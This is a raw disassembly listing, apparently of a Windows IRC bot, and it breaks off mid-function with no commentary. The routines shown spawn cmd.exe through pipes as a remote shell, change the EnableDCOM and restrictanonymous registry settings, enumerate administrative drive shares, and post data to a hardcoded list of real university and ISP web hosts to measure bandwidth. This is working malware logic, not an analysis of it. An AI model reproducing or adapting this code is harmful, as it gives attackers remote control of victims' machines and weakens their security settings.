push esi
push edi
call sub_419F6D
xor esi, esi
lea eax, [ebp+var_178]
push esi
push eax
push 104h
push esi
push offset aCmd_exe ; "cmd.exe"
push esi
call dword_4CBA90 ; SearchPathA
test eax, eax
jz loc_41A2AB
push 1
lea eax, [ebp+var_1C]
pop ebx
mov edi, ds:dword_427108
push esi
push eax
lea eax, [ebp+var_C]
mov [ebp+var_1C], 0Ch
push eax
lea eax, [ebp+var_10]
push eax
mov [ebp+var_14], ebx
mov [ebp+var_18], esi
call edi ; CreatePipe
test eax, eax
jz loc_41A2AB
lea eax, [ebp+var_1C]
push esi
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call edi ; CreatePipe
test eax, eax
jz loc_41A2AB
mov edi, ds:dword_427104
push 3
push esi
push esi
push offset dword_4DBC4C
call edi ; GetCurrentProcess
push eax
push [ebp+var_8]
call edi ; GetCurrentProcess
push eax
call ds:dword_427100 ; DuplicateHandle
test eax, eax
jz short loc_41A2AB
push 10h
lea eax, [ebp+var_2C]
push esi
push eax
call sub_41BF70
push 44h
lea eax, [ebp+var_74]
pop edi
push edi
push esi
push eax
call sub_41BF70
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_3C], eax
mov eax, [ebp+var_C]
mov [ebp+var_38], eax
mov [ebp+var_34], eax
lea eax, [ebp+var_2C]
mov [ebp+var_74], edi
push eax
lea eax, [ebp+var_74]
push eax
push esi
push esi
push esi
push ebx
push esi
mov ebx, offset byte_43DB88
push esi
lea eax, [ebp+var_178]
push ebx
push eax
mov [ebp+var_48], 101h
mov [ebp+var_44], si
call ds:dword_427074 ; CreateProcessA
test eax, eax
jnz short loc_41A2B3
loc_41A2AB: ; CODE XREF: sub_41A1B1+2Fj
; sub_41A1B1+5Cj ...
or eax, 0FFFFFFFFh
jmp loc_41A361
; ---------------------------------------------------------------------------
loc_41A2B3: ; CODE XREF: sub_41A1B1+F8j
push [ebp+var_4]
mov edi, ds:dword_427070
call edi ; CloseHandle
mov eax, [ebp+var_10]
push [ebp+var_28]
mov dword_4DBC48, eax
mov eax, [ebp+var_8]
mov dword_4DBC50, eax
mov eax, [ebp+var_2C]
mov dword_4DBC44, eax
call edi ; CloseHandle
mov eax, [ebp+arg_0]
cmp [ebp+arg_4], esi
mov dword_4DBC88, eax
jz short loc_41A2ED
push [ebp+arg_4]
jmp short loc_41A2EE
; ---------------------------------------------------------------------------
loc_41A2ED: ; CODE XREF: sub_41A1B1+135j
push ebx
loc_41A2EE: ; CODE XREF: sub_41A1B1+13Aj
push offset dword_4DBC54
call sub_41C266
pop ecx
pop ecx
push esi
push 0Ah
push offset unk_43A524
call sub_40B3BA
mov edi, eax
mov ecx, [ebp+var_24]
imul edi, 234h
add esp, 0Ch
mov dword_43E918[edi], ecx
lea ecx, [ebp+var_30]
push ecx
push esi
push eax
push offset sub_41A05C
push esi
push esi
call ds:dword_427084 ; CreateThread
cmp eax, esi
mov dword_43E924[edi], eax
jnz short loc_41A35F
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_378]
push offset unk_43A4F0
push eax
call sub_41C266
lea eax, [ebp+var_378]
push eax
call sub_415D38
add esp, 10h
loc_41A35F: ; CODE XREF: sub_41A1B1+185j
xor eax, eax
loc_41A361: ; CODE XREF: sub_41A1B1+FDj
pop edi
pop esi
pop ebx
leave
retn
sub_41A1B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A366 proc near ; DATA XREF: sub_401ACD+2DC8o
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
pop edi
pop esi
push [ebp+var_8]
cmp [ebp+var_10], 0
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
jz short loc_41A3AD
call sub_41A3C6
jmp short loc_41A3B2
; ---------------------------------------------------------------------------
loc_41A3AD: ; CODE XREF: sub_41A366+3Ej
call sub_41A6EA
loc_41A3B2: ; CODE XREF: sub_41A366+45j
add esp, 10h
push [ebp+var_14]
call sub_40B6D6
pop ecx
push 0
call ds:dword_4270D4 ; ExitThread
sub_41A366 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A3C6 proc near ; CODE XREF: sub_41A366+40p
var_214 = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp dword_4CBAA4, edi
jnz loc_41A4F8
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4CBA44 ; RegOpenKeyExA
test eax, eax
jnz short loc_41A451
mov ax, word_439298
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4CB9F8 ; RegSetValueExA
test eax, eax
jz short loc_41A433
push offset dword_43A7C0
jmp short loc_41A438
; ---------------------------------------------------------------------------
loc_41A433: ; CODE XREF: sub_41A3C6+64j
push offset dword_43A7A0
loc_41A438: ; CODE XREF: sub_41A3C6+6Bj
lea eax, [ebp+var_214]
push eax
call sub_41C266
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB9B0 ; RegCloseKey
jmp short loc_41A464
; ---------------------------------------------------------------------------
loc_41A451: ; CODE XREF: sub_41A3C6+36j
lea eax, [ebp+var_214]
push offset dword_43A770
push eax
call sub_41C266
pop ecx
pop ecx
loc_41A464: ; CODE XREF: sub_41A3C6+89j
cmp [ebp+arg_C], edi
jnz short loc_41A483
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A483: ; CODE XREF: sub_41A3C6+A1j
lea eax, [ebp+var_214]
push eax
call sub_415D38
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4CBA44 ; RegOpenKeyExA
test eax, eax
jnz short loc_41A4F1
lea eax, [ebp+var_8]
push 4
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], 1
call dword_4CB9F8 ; RegSetValueExA
test eax, eax
jz short loc_41A4D3
push offset dword_43A720
jmp short loc_41A4D8
; ---------------------------------------------------------------------------
loc_41A4D3: ; CODE XREF: sub_41A3C6+104j
push offset dword_43A6EC
loc_41A4D8: ; CODE XREF: sub_41A3C6+10Bj
lea eax, [ebp+var_214]
push eax
call sub_41C266
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB9B0 ; RegCloseKey
jmp short loc_41A50B
; ---------------------------------------------------------------------------
loc_41A4F1: ; CODE XREF: sub_41A3C6+E2j
push offset dword_43A6B0
jmp short loc_41A4FD
; ---------------------------------------------------------------------------
loc_41A4F8: ; CODE XREF: sub_41A3C6+13j
push offset dword_43A680
loc_41A4FD: ; CODE XREF: sub_41A3C6+130j
lea eax, [ebp+var_214]
push eax
call sub_41C266
pop ecx
pop ecx
loc_41A50B: ; CODE XREF: sub_41A3C6+129j
cmp [ebp+arg_C], edi
jnz short loc_41A52A
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A52A: ; CODE XREF: sub_41A3C6+148j
lea eax, [ebp+var_214]
push eax
call sub_415D38
cmp dword_4CBACC, edi
pop ecx
jnz loc_41A6A5
push ebx
mov [ebp+var_4], edi
mov [ebp+var_14], edi
mov [ebp+var_C], edi
loc_41A54D: ; CODE XREF: sub_41A3C6+2C3j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
call dword_4CB918
cmp eax, edi
mov [ebp+var_10], eax
jz short loc_41A5EA
cmp eax, 0EAh
jz short loc_41A5EA
mov esi, offset off_43A548
loc_41A57E: ; CODE XREF: sub_41A3C6+21Dj
push dword ptr [esi]
push edi
call sub_4191B8
pop ecx
pop ecx
push dword ptr [esi]
test eax, eax
jnz short loc_41A595
push offset dword_43A65C
jmp short loc_41A59A
; ---------------------------------------------------------------------------
loc_41A595: ; CODE XREF: sub_41A3C6+1C6j
push offset dword_43A630
loc_41A59A: ; CODE XREF: sub_41A3C6+1CDj
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41C360
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_41A5CD
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A5CD: ; CODE XREF: sub_41A3C6+1EBj
lea eax, [ebp+var_214]
push eax
call sub_415D38
add esi, 8
pop ecx
cmp esi, offset dword_43A568
jb short loc_41A57E
jmp loc_41A682
; ---------------------------------------------------------------------------
loc_41A5EA: ; CODE XREF: sub_41A3C6+1AAj
; sub_41A3C6+1B1j
mov esi, [ebp+var_8]
push 1
pop ebx
cmp [ebp+var_4], ebx
jb loc_41A679
loc_41A5F9: ; CODE XREF: sub_41A3C6+2AFj
mov edi, [esi]
push edi
call sub_41E0B7
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_41A66E
push edi
call sub_4190A5
push eax
push 0
call sub_4191B8
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41A628
push offset dword_43A60C
jmp short loc_41A62D
; ---------------------------------------------------------------------------
loc_41A628: ; CODE XREF: sub_41A3C6+259j
push offset dword_43A5E0
loc_41A62D: ; CODE XREF: sub_41A3C6+260j
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41C360
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41A661
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A661: ; CODE XREF: sub_41A3C6+27Fj
lea eax, [ebp+var_214]
push eax
call sub_415D38
pop ecx
loc_41A66E: ; CODE XREF: sub_41A3C6+242j
add esi, 28h
inc ebx
cmp ebx, [ebp+var_4]
jbe short loc_41A5F9
xor edi, edi
loc_41A679: ; CODE XREF: sub_41A3C6+22Dj
push [ebp+var_8]
call dword_4CBA64
loc_41A682: ; CODE XREF: sub_41A3C6+21Fj
cmp [ebp+var_10], 0EAh
jz loc_41A54D
lea eax, [ebp+var_214]
push offset dword_43A5B8
push eax
call sub_41C266
pop ecx
pop ecx
pop ebx
jmp short loc_41A6B8
; ---------------------------------------------------------------------------
loc_41A6A5: ; CODE XREF: sub_41A3C6+177j
lea eax, [ebp+var_214]
push offset dword_43A588
push eax
call sub_41C266
pop ecx
pop ecx
loc_41A6B8: ; CODE XREF: sub_41A3C6+2DDj
cmp [ebp+arg_C], edi
jnz short loc_41A6D6
push edi
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A6D6: ; CODE XREF: sub_41A3C6+2F5j
lea eax, [ebp+var_214]
push eax
call sub_415D38
pop ecx
push 1
pop eax
pop edi
pop esi
leave
retn
sub_41A3C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A6EA proc near ; CODE XREF: sub_41A366:loc_41A3ADp
var_220 = byte ptr -220h
var_20 = byte ptr -20h
var_14 = byte ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 220h
push ebx
xor ebx, ebx
cmp dword_4CBAA4, ebx
push esi
jnz loc_41A818
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push ebx
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4CBA44 ; RegOpenKeyExA
test eax, eax
jnz short loc_41A775
mov ax, word_4392DC
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push ebx
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4CB9F8 ; RegSetValueExA
test eax, eax
jz short loc_41A757
push offset dword_43A938
jmp short loc_41A75C
; ---------------------------------------------------------------------------
loc_41A757: ; CODE XREF: sub_41A6EA+64j
push offset dword_43A91C
loc_41A75C: ; CODE XREF: sub_41A6EA+6Bj
lea eax, [ebp+var_220]
push eax
call sub_41C266
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB9B0 ; RegCloseKey
jmp short loc_41A788
; ---------------------------------------------------------------------------
loc_41A775: ; CODE XREF: sub_41A6EA+36j
lea eax, [ebp+var_220]
push offset dword_43A770
push eax
call sub_41C266
pop ecx
pop ecx
loc_41A788: ; CODE XREF: sub_41A6EA+89j
cmp [ebp+arg_C], ebx
jnz short loc_41A7A7
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A7A7: ; CODE XREF: sub_41A6EA+A1j
lea eax, [ebp+var_220]
push eax
call sub_415D38
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push ebx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4CBA44 ; RegOpenKeyExA
test eax, eax
jnz short loc_41A811
lea eax, [ebp+var_8]
push 4
push eax
push 4
push ebx
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], ebx
call dword_4CB9F8 ; RegSetValueExA
test eax, eax
jz short loc_41A7F3
push offset dword_43A8DC
jmp short loc_41A7F8
; ---------------------------------------------------------------------------
loc_41A7F3: ; CODE XREF: sub_41A6EA+100j
push offset dword_43A8A4
loc_41A7F8: ; CODE XREF: sub_41A6EA+107j
lea eax, [ebp+var_220]
push eax
call sub_41C266
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB9B0 ; RegCloseKey
jmp short loc_41A82B
; ---------------------------------------------------------------------------
loc_41A811: ; CODE XREF: sub_41A6EA+E2j
push offset dword_43A868
jmp short loc_41A81D
; ---------------------------------------------------------------------------
loc_41A818: ; CODE XREF: sub_41A6EA+13j
push offset dword_43A680
loc_41A81D: ; CODE XREF: sub_41A6EA+12Cj
lea eax, [ebp+var_220]
push eax
call sub_41C266
pop ecx
pop ecx
loc_41A82B: ; CODE XREF: sub_41A6EA+125j
cmp [ebp+arg_C], ebx
jnz short loc_41A84A
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A84A: ; CODE XREF: sub_41A6EA+144j
lea eax, [ebp+var_220]
push eax
call sub_415D38
cmp dword_4CBACC, ebx
pop ecx
jnz loc_41A9BF
push edi
mov esi, offset off_43A548
mov edi, 200h
loc_41A86E: ; CODE XREF: sub_41A6EA+1E9j
push dword ptr [esi+4]
push dword ptr [esi]
push ebx
call sub_41910C
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41A889
push offset dword_43A848
jmp short loc_41A88E
; ---------------------------------------------------------------------------
loc_41A889: ; CODE XREF: sub_41A6EA+196j
push offset dword_43A820
loc_41A88E: ; CODE XREF: sub_41A6EA+19Dj
lea eax, [ebp+var_220]
push edi
push eax
call sub_41C360
add esp, 10h
cmp [ebp+arg_C], ebx
jnz short loc_41A8BD
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A8BD: ; CODE XREF: sub_41A6EA+1B7j
lea eax, [ebp+var_220]
push eax
call sub_415D38
add esi, 8
pop ecx
cmp esi, offset off_43A558
jb short loc_41A86E
call ds:dword_427198 ; GetLogicalDrives
test eax, eax
mov [ebp+var_4], eax
mov bl, 41h
jz loc_41A9A7
loc_41A8E8: ; CODE XREF: sub_41A6EA+2B7j
mov eax, [ebp+var_4]
and eax, 1
cmp al, 1
jnz loc_41A99C
cmp bl, 41h
jz loc_41A99C
movsx esi, bl
push esi
push offset aC_1 ; "%c$"
lea eax, [ebp+var_14]
push 0Ah
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_20]
push esi
push offset aC_0 ; "%c:\\"
push 0Ah
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_20]
push eax
call dword_4CBA34 ; GetDriveTypeA
cmp eax, 3
jnz short loc_41A99C
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
push 0
call sub_41910C
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_14]
push eax
jnz short loc_41A95A
push offset dword_43A848
jmp short loc_41A95F
; ---------------------------------------------------------------------------
loc_41A95A: ; CODE XREF: sub_41A6EA+267j
push offset dword_43A820
loc_41A95F: ; CODE XREF: sub_41A6EA+26Ej
lea eax, [ebp+var_220]
push edi
push eax
call sub_41C360
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41A98F
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A98F: ; CODE XREF: sub_41A6EA+289j
lea eax, [ebp+var_220]
push eax
call sub_415D38
pop ecx
loc_41A99C: ; CODE XREF: sub_41A6EA+206j
; sub_41A6EA+20Fj ...
inc bl
shr [ebp+var_4], 1
jnz loc_41A8E8
loc_41A9A7: ; CODE XREF: sub_41A6EA+1F8j
lea eax, [ebp+var_220]
push offset dword_43A7F0
push eax
call sub_41C266
pop ecx
xor ebx, ebx
pop ecx
pop edi
jmp short loc_41A9D2
; ---------------------------------------------------------------------------
loc_41A9BF: ; CODE XREF: sub_41A6EA+173j
lea eax, [ebp+var_220]
push offset dword_43A588
push eax
call sub_41C266
pop ecx
pop ecx
loc_41A9D2: ; CODE XREF: sub_41A6EA+2D3j
cmp [ebp+arg_C], ebx
jnz short loc_41A9F0
push ebx
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A9F0: ; CODE XREF: sub_41A6EA+2EBj
lea eax, [ebp+var_220]
push eax
call sub_415D38
pop ecx
push 1
pop eax
pop esi
pop ebx
leave
retn
sub_41A6EA endp
; =============== S U B R O U T I N E =======================================
sub_41AA04 proc near ; CODE XREF: sub_41ABFB+CBp
; sub_41ABFB+DDp ...
arg_0 = dword ptr 4
call ds:dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
cdq
idiv [esp+arg_0]
mov eax, edx
retn
sub_41AA04 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AA1E proc near ; CODE XREF: sub_41ABFB+D4p
; sub_41ABFB+E6p ...
var_38 = dword ptr -38h
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41B9C0
mov esi, 0FFh
pop ecx
cmp eax, esi
ja loc_41ABF7
push 10h
lea eax, [ebp+var_28]
push 0
push eax
call sub_41BF70
push [ebp+arg_0]
mov [ebp+var_28], 2
call sub_40A8F0
add esp, 10h
mov [ebp+var_24], eax
test eax, eax
jz loc_41ABF7
push 50h
call dword_4CB9D4 ; htons
push 6
push 1
push 2
mov [ebp+var_26], ax
call dword_4CBA54 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_41ABF7
lea ecx, [ebp+var_28]
push 10h
push ecx
push eax
call dword_4CB97C ; connect
cmp eax, 0FFFFFFFFh
jz loc_41ABF7
push 32003h
call sub_41D9A5
mov edi, ds:dword_4270B0
mov ebx, eax
pop ecx
mov [ebp+var_8], ebx
call edi ; GetTickCount
push eax
call sub_41C2B8
call sub_41C2C2
cdq
idiv esi
mov [esp+38h+var_38], 32001h
push 0
push ebx
movsx esi, dl
call sub_41BF70
push 32000h
push esi
push ebx
call sub_41BF70
push ebx
call sub_41B9C0
push 323EAh
mov ebx, eax
call sub_41D9A5
add esp, 20h
mov esi, eax
push ebx
push [ebp+arg_0]
push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
push esi
call sub_41C266
push [ebp+var_8]
push esi
call sub_41C8A0
push offset asc_4349EC ; "\r\n"
push esi
call sub_41C8A0
push esi
call sub_41B9C0
mov ebx, eax
add esp, 24h
mov [ebp+var_10], ebx
call edi ; GetTickCount
mov dword ptr [ebp+var_18+4], eax
xor eax, eax
test ebx, ebx
mov [ebp+arg_0], eax
jbe short loc_41AB77
mov [ebp+var_C], ebx
mov ebx, 400h
jmp short loc_41AB47
; ---------------------------------------------------------------------------
loc_41AB44: ; CODE XREF: sub_41AA1E+157j
mov eax, [ebp+arg_0]
loc_41AB47: ; CODE XREF: sub_41AA1E+124j
mov ecx, [ebp+var_10]
push 0
sub ecx, eax
cmp ecx, ebx
jnb short loc_41AB57
push [ebp+var_C]
jmp short loc_41AB58
; ---------------------------------------------------------------------------
loc_41AB57: ; CODE XREF: sub_41AA1E+132j
push ebx
loc_41AB58: ; CODE XREF: sub_41AA1E+137j
add eax, esi
push eax
push [ebp+var_4]
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz short loc_41ABDE
add [ebp+arg_0], ebx
sub [ebp+var_C], ebx
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_10]
jb short loc_41AB44
loc_41AB77: ; CODE XREF: sub_41AA1E+11Aj
call edi ; GetTickCount
sub eax, dword ptr [ebp+var_18+4]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
fmul ds:flt_4276F4
fst [ebp+arg_0]
fcomp ds:flt_4276F0
fnstsw ax
sahf
jnz short loc_41AB9F
fld1
fstp [ebp+arg_0]
loc_41AB9F: ; CODE XREF: sub_41AA1E+17Aj
push [ebp+var_4]
call dword_4CBA6C ; closesocket
push [ebp+var_8]
call sub_41BA91
push esi
call sub_41BA91
mov eax, [ebp+var_10]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
pop ecx
fild [ebp+var_18]
pop ecx
fdiv [ebp+arg_0]
fmul ds:flt_4276EC
fmul ds:flt_4276E8
call sub_41D174
loc_41ABD9: ; CODE XREF: sub_41AA1E+1DBj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41ABDE: ; CODE XREF: sub_41AA1E+149j
push [ebp+var_4]
call dword_4CBA6C ; closesocket
push [ebp+var_8]
call sub_41BA91
push esi
call sub_41BA91
pop ecx
pop ecx
loc_41ABF7: ; CODE XREF: sub_41AA1E+19j
; sub_41AA1E+42j ...
xor eax, eax
jmp short loc_41ABD9
sub_41AA1E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ABFB proc near ; CODE XREF: sub_401ACD+2E1Ep
var_26C = byte ptr -26Ch
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 26Ch
push ebx
push esi
push edi
push 8
mov [ebp+var_4], 3
mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
mov [ebp+var_34], offset aVerio_fr ; "verio.fr"
mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
mov [ebp+var_20], offset aWww_google_it ; "www.google.it"
mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com"
mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net"
mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
mov [ebp+var_48], offset aWww_above_net ; "www.above.net"
mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
mov [ebp+var_40], offset aWww_google_com ; "www.google.com"
mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
call sub_41AA04
push [ebp+eax*4+var_3C]
call sub_41AA1E
push 8
mov esi, eax
call sub_41AA04
push [ebp+eax*4+var_3C]
call sub_41AA1E
add esp, 10h
test esi, esi
jz short loc_41ACFC
test eax, eax
jz short loc_41ACF8
lea ebx, [eax+esi]
shr ebx, 1
jmp short loc_41ACFE
; ---------------------------------------------------------------------------
loc_41ACF8: ; CODE XREF: sub_41ABFB+F4j
mov ebx, esi
jmp short loc_41ACFE
; ---------------------------------------------------------------------------
loc_41ACFC: ; CODE XREF: sub_41ABFB+F0j
mov ebx, eax
loc_41ACFE: ; CODE XREF: sub_41ABFB+FBj
; sub_41ABFB+FFj
push 0Ch
call sub_41AA04
push [ebp+eax*4+var_6C]
call sub_41AA1E
push 0Ch
mov edi, eax
call sub_41AA04
push [ebp+eax*4+var_6C]
call sub_41AA1E
add esp, 10h
test edi, edi
jz short loc_41AD36
test eax, eax
jz short loc_41AD32
lea esi, [eax+edi]
shr esi, 1
jmp short loc_41AD38
; ---------------------------------------------------------------------------
loc_41AD32: ; CODE XREF: sub_41ABFB+12Ej
mov esi, edi
jmp short loc_41AD38
; ---------------------------------------------------------------------------
loc_41AD36: ; CODE XREF: sub_41ABFB+12Aj
mov esi, eax
loc_41AD38: ; CODE XREF: sub_41ABFB+135j
; sub_41ABFB+139j
push 6
call sub_41AA04
push [ebp+eax*4+var_1C]
call sub_41AA1E
push 6
mov edi, eax
call sub_41AA04
push [ebp+eax*4+var_1C]
call sub_41AA1E
add esp, 10h
test edi, edi
jz short loc_41AD70
test eax, eax
jz short loc_41AD6C
lea ecx, [eax+edi]
shr ecx, 1
jmp short loc_41AD72
; ---------------------------------------------------------------------------
loc_41AD6C: ; CODE XREF: sub_41ABFB+168j
mov ecx, edi
jmp short loc_41AD72
; ---------------------------------------------------------------------------
loc_41AD70: ; CODE XREF: sub_41ABFB+164j
mov ecx, eax
loc_41AD72: ; CODE XREF: sub_41ABFB+16Fj
; sub_41ABFB+173j
xor eax, eax
test ebx, ebx
jz short loc_41AD7F
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41AD82
; ---------------------------------------------------------------------------
loc_41AD7F: ; CODE XREF: sub_41ABFB+17Bj
push 2
pop edi
loc_41AD82: ; CODE XREF: sub_41ABFB+182j
test esi, esi
jz short loc_41AD8A
add eax, esi
jmp short loc_41AD8B
; ---------------------------------------------------------------------------
loc_41AD8A: ; CODE XREF: sub_41ABFB+189j
dec edi
loc_41AD8B: ; CODE XREF: sub_41ABFB+18Dj
test ecx, ecx
jz short loc_41AD93
add eax, ecx
jmp short loc_41AD94
; ---------------------------------------------------------------------------
loc_41AD93: ; CODE XREF: sub_41ABFB+192j
dec edi
loc_41AD94: ; CODE XREF: sub_41ABFB+196j
xor edx, edx
div edi
push eax
push ecx
push esi
push ebx
lea eax, [ebp+var_26C]
